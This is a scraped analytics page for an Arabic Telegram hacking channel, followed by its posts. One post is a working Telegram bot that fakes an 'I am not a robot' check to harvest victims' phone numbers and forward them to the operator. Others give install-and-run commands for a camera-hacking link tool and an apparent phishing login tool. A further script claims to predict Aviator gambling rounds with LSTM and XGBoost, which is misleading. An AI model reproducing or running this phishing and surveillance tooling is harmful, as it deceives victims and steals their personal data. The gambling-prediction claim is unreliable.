ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ STᑌᗪIO
⸻ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ ⸻ #php #python #telebot #codes ⚠️ المحتوى الموجود هنا لأغراض تعليمية فقط ولا نتحمل أي مسؤولية عن استخدامه، الغرض منه الفحص والتجربة داخل بيئات خاصة وغير حقيقية
إظهار المزيد📈 نظرة تحليلية على قناة تيليجرام ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ STᑌᗪIO
تُعد قناة ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ STᑌᗪIO (@phpandpy) في القطاع اللغوي العربية لاعباً نشطاً. يضم المجتمع حالياً 16 233 مشتركاً، محتلاً المرتبة 7 729 في فئة التكنولوجيات والتطبيقات والمرتبة 1 478 في منطقة مصر.
📊 مؤشرات الجمهور والحراك
منذ تأسيسه في невідомо، حقق المشروع نمواً سريعاً وجمع 16 233 مشتركاً.
بحسب آخر البيانات بتاريخ 23 سبتمبر, 2026، تحافظ القناة على نشاط مستقر. خلال آخر 30 يوماً تغيّر عدد الأعضاء بمقدار 405، وفي آخر 24 ساعة بمقدار 8، مع بقاء الوصول العام مرتفعاً.
- حالة التحقق: غير موثّقة
- معدل التفاعل (ER): يبلغ متوسط تفاعل الجمهور 9.19%. وخلال أول 24 ساعة من النشر يحصد المحتوى عادةً 2.94% من ردود الفعل نسبةً إلى إجمالي المشتركين.
- وصول المنشورات: يحصل كل منشور على متوسط 1 489 مشاهدة. وخلال اليوم الأول يجمع عادةً 476 مشاهدة.
- التفاعلات والاستجابة: يتفاعل الجمهور بانتظام؛ متوسط التفاعلات لكل منشور يبلغ 16.
- الاهتمامات الموضوعية: يركز المحتوى على مواضيع رئيسية مثل سِعر, تَحدِيث, بَلُوقِن, تَشغِيل, حَقّ.
📝 الوصف وسياسة المحتوى
يصف المؤلف القناة بأنها مساحة للتعبير عن الآراء الذاتية:
“⸻ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ ⸻
#php
#python
#telebot
#codes
⚠️ المحتوى الموجود هنا لأغراض تعليمية فقط ولا نتحمل أي مسؤولية عن استخدامه، الغرض منه الفحص والتجربة داخل بيئات خاصة وغير حقيقية”
بفضل وتيرة التحديث المرتفعة (أحدث البيانات بتاريخ 24 سبتمبر, 2026) تحافظ القناة على حداثتها ومستوى وصول مرتفع. وتُظهر التحليلات تفاعلاً نشطاً من الجمهور، ما يجعلها نقطة تأثير مهمة ضمن فئة التكنولوجيات والتطبيقات.
import telebot
from telebot import types
bot = telebot.TeleBot("صع توكن بوتك")
admin_id = ضع id حسابك
@bot.message_handler(commands=['start'])
def register(message):
keyboard = types.ReplyKeyboardMarkup(one_time_keyboard=True)
reg_button = types.KeyboardButton(text="انا لست روبوت", request_contact=True)
keyboard.add(reg_button)
response = bot.send_message(message.chat.id, "عذرا ❌ لايمكنك استخدام البوت اضغط انا لست روبوت لكي نتحقق من حسابك", reply_markup=keyboard)
@bot.message_handler(content_types=['contact'])
def contact_handler(message):
F = message.contact.phone_number
bot.send_message(admin_id, text=f"اهلا عزيزي الادمن تم سحب الرقم +{F}")
bot.send_message(message.chat.id, text="شكراً لك تم التحقق من حسابك")
if __name__ == '__main__':
bot.polling(none_stop=True)
ضع توكن بوتك و id حسابك والبوت يشتغل...
تدزه للشخص راح يوهمه البوت بتحقق حسابه...
عند الضغط راح يترسل الرقم الخاص بحسابه تيليجرام وبس...
#منقوله☢️5h5688070hu50.imgأذا حابب تفتحها وتنزلها ع جهازك لو كنت تستخدم Termux أو هاتفك تكتب هذا الامر
mv اسم الصوره /sdcard/Download/
نفترض قولنا الاسم هنكتب كدا
mv 5h5688070hu50.img /sdcard/Download
ع طول تدخل ع ملفاتك ثم Download هتلقيها
ولو كنت kali ع حاسوب نفس الحوار بس نغير الامر الي
mv اسم الصوره ~/Desktop/
تنزيل الاداه:
git clone https://github.com/MohamedAbuAl-Saud/Hack-Camra-Link-DF.git
cd Hack-Camra-Link-DF
apt install php
bash hackcamra.sh
By|| @A_Y_TRimport numpy as np
import matplotlib.pyplot as plt
import tensorflow as tf
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import LSTM, GRU, Dense, Dropout
from sklearn.preprocessing import MinMaxScaler
import xgboost as xgb
# بيانات الجولات السابقة (استبدلها بالبيانات الحقيقية من اللعبة)
previous_rounds = [1.2, 2.5, 1.8, 1.4, 3.0, 1.1, 2.2, 1.7, 1.3, 2.8, 1.6, 2.0, 2.9, 1.9, 3.5, 1.5, 3.8, 2.4, 1.2, 2.1, 2.7, 3.3, 1.4, 2.6, 1.9, 3.7, 1.8, 2.9, 3.4, 2.2]
# تحويل البيانات إلى مصفوفة NumPy
data = np.array(previous_rounds).reshape(-1, 1)
# تطبيع البيانات لجعلها مناسبة للنموذج
scaler = MinMaxScaler(feature_range=(0, 1))
scaled_data = scaler.fit_transform(data)
# **تحضير بيانات التدريب ب.. Sliding Window**
def create_dataset(dataset, time_step=5):
X, Y = [], []
for i in range(len(dataset) - time_step - 1):
X.append(dataset[i:(i + time_step), 0])
Y.append(dataset[i + time_step, 0])
return np.array(X), np.array(Y)
time_step = 5 # عدد الجولات السابقة اللي يعتمد عليها التنبؤ
X, y = create_dataset(scaled_data, time_step)
X = X.reshape(X.shape[0], X.shape[1], 1) # تحويل البيانات لشكل مناسب لـ LSTM و GRU
model = Sequential([
LSTM(128, return_sequences=True, input_shape=(time_step, 1)),
Dropout(0.3),
GRU(128, return_sequences=True),
Dropout(0.3),
LSTM(64, return_sequences=False),
Dense(32, activation='relu'),
Dense(16, activation='relu'),
Dense(1)
])
# تدريب النموذج
model.compile(optimizer='adam', loss='mean_squared_error')
model.fit(X, y, epochs=150, batch_size=4, verbose=2)
# استخدام XGBoost لتحليل الأنماط المخفية
xgb_model = xgb.XGBRegressor(objective='reg:squarederror', n_estimators=100)
xgb_model.fit(X.reshape(X.shape[0], -1), y)
# التنبؤ بالجولات القادمة باستخدام LSTM + GRU + XGBoost
future_input = scaled_data[-time_step:].reshape(1, time_step, 1)
predictions_lstm_gru = []
predictions_xgb = []
for _ in range(5): # التنبؤ بـ 5 جولات قادمة
predicted_lstm_gru = model.predict(future_input)
predictions_lstm_gru.append(predicted_lstm_gru[0, 0])
predicted_xgb = xgb_model.predict(future_input.reshape(1, -1))
predictions_xgb.append(predicted_xgb[0])
# تحديث البيانات بإضافة التوقع الجديد
future_input = np.append(future_input[:, 1:, :], [[predicted_lstm_gru]], axis=1)
# دمج التوقعات
final_predictions = np.mean([predictions_lstm_gru, predictions_xgb], axis=0)
final_predictions = scaler.inverse_transform(np.array(final_predictions).reshape(-1, 1))
# عرض النتائج
print("🔮 التوقعات للجولات القادمة:", [round(p[0], 2) for p in final_predictions])
# رسم البيانات
plt.plot(previous_rounds, label="البيانات الفعلية", marker='o', linestyle='-')
plt.plot(range(len(previous_rounds), len(previous_rounds) + 5), final_predictions, label="التوقعات", marker='x', linestyle='dashed', color='red')
plt.xlabel("الجولة")
plt.ylabel("المضاعف المتوقع")
plt.title("تحليل Aviator باستخدام LSTM + GRU + XGBoost")
plt.legend()
plt.show()
BY|| @A_Y_TR5h5688070hu50.imgأذا حابب تفتحها وتنزلها ع جهازك لو كنت تستخدم Termux أو هاتفك تكتب هذا الامر
mv اسم الصوره /sdcard/Download/
نفترض قولنا الاسم هنكتب كدا
mv 5h5688070hu50.img /sdcard/Download
ع طول تدخل ع ملفاتك ثم Download هتلقيها
ولو كنت kali ع حاسوب نفس الحوار بس نغير الامر الي
mv اسم الصوره ~/Desktop/
تنزيل الاداه:
git clone https://github.com/MohamedAbuAl-Saud/Hack-Camra-Link-DF.git
cd Hack-Camra-Link-DF
apt install php
bash hackcamra.sh
By|| @A_Y_TRgit clone https://github.com/MohamedAbuAl-Saud/PhantomLogin-DF.git
cd PhantomLogin-DF
pkg install php
pkg install ssh
pkg install jq
chmod +x bash phantomlogin.sh
bash phantomlogin.sh
ع kali linux:
git clone https://github.com/MohamedAbuAl-Saud/PhantomLogin-DF.git
cd PhantomLogin-DF
su
apt install php
apt install ssh
apt install jq
chmod +x bash phantomlogin.sh
bash phantomlogin.sh
لو وجهتك اي مشكله في التثبيت في اي بيئه اكتب الامر ده وتاكد من سرعه الانتر نت:
chmod +x install.sh
bash install.sh
وأي مشكله راسلني خاص @A_Y_TR